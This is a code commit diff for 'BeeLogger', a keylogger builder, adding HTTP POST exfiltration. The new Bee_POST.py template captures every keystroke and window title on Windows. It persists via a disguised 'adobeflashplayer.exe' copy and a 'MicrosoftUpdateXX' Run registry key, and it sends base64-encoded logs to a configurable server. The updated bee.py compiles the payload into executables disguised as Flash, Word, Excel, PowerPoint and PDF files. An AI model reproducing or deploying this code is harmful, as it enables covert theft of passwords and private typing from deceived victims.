Skip to content

Commit 193ee0e

Browse files
author
xmaster
committed
POST support - initial version
1 parent ce2609c commit 193ee0e

File tree

3 files changed

+133
-9
lines changed

3 files changed

+133
-9
lines changed
File renamed without changes.

Templates/Bee_POST.py

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
import pythoncom
2+
import pyHook
3+
from os import path
4+
from time import sleep
5+
from threading import Thread
6+
import urllib, urllib2
7+
import datetime
8+
import win32com.client
9+
import win32event, win32api, winerror
10+
from _winreg import *
11+
import shutil
12+
import sys
13+
import base64
14+
import requests
15+
16+
ironm = win32event.CreateMutex(None, 1, 'NOSIGN')
17+
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
18+
ironm = None
19+
print "nope"
20+
sys.exit()
21+
22+
x, data, count= '', '', 0
23+
24+
dir = r"C:\Users\Public\Libraries\adobeflashplayer.exe"
25+
lastWindow = ''
26+
27+
def startup():
28+
shutil.copy(sys.argv[0], dir)
29+
aReg = ConnectRegistry(None, HKEY_CURRENT_USER)
30+
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
31+
SetValueEx(aKey,"MicrosoftUpdateXX", 0, REG_SZ, dir)
32+
if not path.isfile(dir):
33+
startup()
34+
35+
36+
def send_http_post():
37+
global data
38+
while True:
39+
if len(data) > 30:
40+
try:
41+
42+
timeInSecs = datetime.datetime.now()
43+
#SERVER_URL = The server URL to post to
44+
#POST_DATA = The post data to include.
45+
# Use $KeyStream$ for the area of the keystream
46+
# Use $Date$ for the sending date
47+
48+
base64encodedData = base64.encodestring(data)
49+
postData = POST_DATA
50+
postData = postData.replace('$KeyStream$', base64encodedData)
51+
postData = postData.replace('$Date$', str(timeInSecs) )
52+
53+
requests.post(SERVER_URL, data=postData)
54+
except Exception as error:
55+
print error
56+
sleep(120)
57+
58+
59+
def pushing(event):
60+
global data, lastWindow
61+
window = event.WindowName
62+
keys = {
63+
13: ' [ENTER] ',
64+
8: ' [BACKSPACE] ',
65+
162: ' [CTRL] ',
66+
163: ' [CTRL] ',
67+
164: ' [ALT] ',
68+
165: ' [ALT] ',
69+
160: ' [SHIFT] ',
70+
161: ' [SHIFT] ',
71+
46: ' [DELETE] ',
72+
32: ' [SPACE] ',
73+
27: ' [ESC] ',
74+
9: ' [TAB] ',
75+
20: ' [CAPSLOCK] ',
76+
38: ' [UP] ',
77+
40: ' [DOWN] ',
78+
37: ' [LEFT] ',
79+
39: ' [RIGHT] ',
80+
91: ' [SUPER] '
81+
}
82+
keyboardKeyName = keys.get(event.Ascii, chr(event.Ascii))
83+
if window != lastWindow:
84+
lastWindow = window
85+
data += ' { ' + lastWindow + ' } '
86+
data += keyboardKeyName
87+
else:
88+
data += keyboardKeyName
89+
90+
if __name__ == '__main__':
91+
triggerThread = Thread(target=send_http_post)
92+
triggerThread.start()
93+
94+
hookManager = pyHook.HookManager()
95+
hookManager.KeyDown = pushing
96+
hookManager.HookKeyboard()
97+
pythoncom.PumpMessages()

bee.py

Lines changed: 36 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,34 @@
1212
sys.exit('BeeLogger must be run as root')
1313
def clear():
1414
os.system('clear')
15-
def begin():
15+
def begin_http():
16+
os.system('sudo rm -Rf dist')
17+
# TEMPORARY UNAVAILABLE # print "\n{0}You can see a list with servers and ports in SERVERS.txt on BeeLogger folder.{1}".format(GREEN,END)
18+
serverURL = raw_input('Type the server URL to post data to: ')
19+
postData = raw_input('Type the POST data format ($KeyStream$=the keys stream, $Date$-date): ')
20+
print '\n'
21+
print '[ * * * * * * * * * * * * * * * * * * * * * * * * * ]'
22+
print '\n serverURL: ' + serverURL
23+
print ' postData: ' + postData
24+
print '\n[ * * * * * * * * * * * * * * * * * * * * * * * * * ]'
25+
print '\n'
26+
ask = raw_input('These info above are correct? (y/n) :')
27+
if ask == 'y':
28+
pass
29+
else:
30+
begin_http()
31+
template = open('Templates/Bee_POST.py', 'r')
32+
o = template.read()
33+
payload = '#/usr/bin/python\n'
34+
payload += '# -*- coding: utf-8 -*-\n'
35+
payload += 'SERVER_URL = ' + "'" + serverURL + "'" + '\n'
36+
payload += 'POST_DATA = ' + "'" + postData + "'" + '\n'
37+
payload += str(o)
38+
with open('k.py', 'w') as f:
39+
f.write(payload)
40+
f.close()
41+
template.close()
42+
def begin_mail():
1643
os.system('sudo rm -Rf dist')
1744
# TEMPORARY UNAVAILABLE # print "\n{0}You can see a list with servers and ports in SERVERS.txt on BeeLogger folder.{1}".format(GREEN,END)
1845
email = raw_input('Type your gmail to receive logs: ')
@@ -27,8 +54,8 @@ def begin():
2754
if ask == 'y':
2855
pass
2956
else:
30-
begin()
31-
template = open('Templates/Bee.py', 'r')
57+
begin_mail()
58+
template = open('Templates/Bee_MAIL.py', 'r')
3259
o = template.read()
3360
payload = '#/usr/bin/python\n'
3461
payload += '# -*- coding: utf-8 -*-\n'
@@ -90,7 +117,7 @@ def main():
90117
print '\n NOTE: Don\'t use your personal email, make a dedicated.'
91118
print '\n {0}This keylogger send logs when logs > 50 chars or each 120 seconds.{1}'.format(BLUE, END)
92119
if choice.upper() == '6':
93-
begin()
120+
begin_http()
94121
os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconfirm --noconsole -m Manifest/manifest.manifest -F k.py')
95122
os.system('rm -Rf build k.spec k.py')
96123
name = 'Bee.exe'
@@ -100,7 +127,7 @@ def main():
100127
os.system('sudo rm -Rf Templates/k_enc.py')
101128
print '\n {0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name
102129
if choice == '1':
103-
begin()
130+
begin_http()
104131
os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/adobe.Bee -i Icons/flash.ico -F k.py')
105132
os.system('rm -Rf build k.spec k.py')
106133
name = 'Bee_Flash_.exe'
@@ -109,7 +136,7 @@ def main():
109136
heading()
110137
print '{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name
111138
elif choice == '2':
112-
begin()
139+
begin_http()
113140
os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/word.Bee -i Icons/word.ico -F k.py')
114141
os.system('rm -Rf build k.spec k.py')
115142
name = 'Bee_Word_.docx.exe'
@@ -118,7 +145,7 @@ def main():
118145
heading()
119146
print '{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name
120147
elif choice == '3':
121-
begin()
148+
begin_http()
122149
os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/excel.Bee -i Icons/excel.ico -F k.py')
123150
os.system('rm -Rf build k.spec k.py')
124151
name = 'Bee_Excel_.xlsx.exe'
@@ -127,7 +154,7 @@ def main():
127154
heading()
128155
print '{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name
129156
elif choice == '4':
130-
begin()
157+
begin_http()
131158
os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/powerpoint.Bee -i Icons/powerpoint.ico -F k.py')
132159
os.system('rm -Rf build k.spec k.py')
133160
name = 'Bee_Power_.pptx.exe'
@@ -136,7 +163,7 @@ def main():
136163
heading()
137164
print '{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name
138165
elif choice == '5':
139-
begin()
166+
begin_http()
140167
os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/acrobat.Bee -i Icons/acrobat.ico -F k.py')
141168
os.system('rm -Rf build k.spec k.py')
142169
name = 'Bee_AcrobatPDF_.pdf.exe'

0 commit comments

Comments
 (0)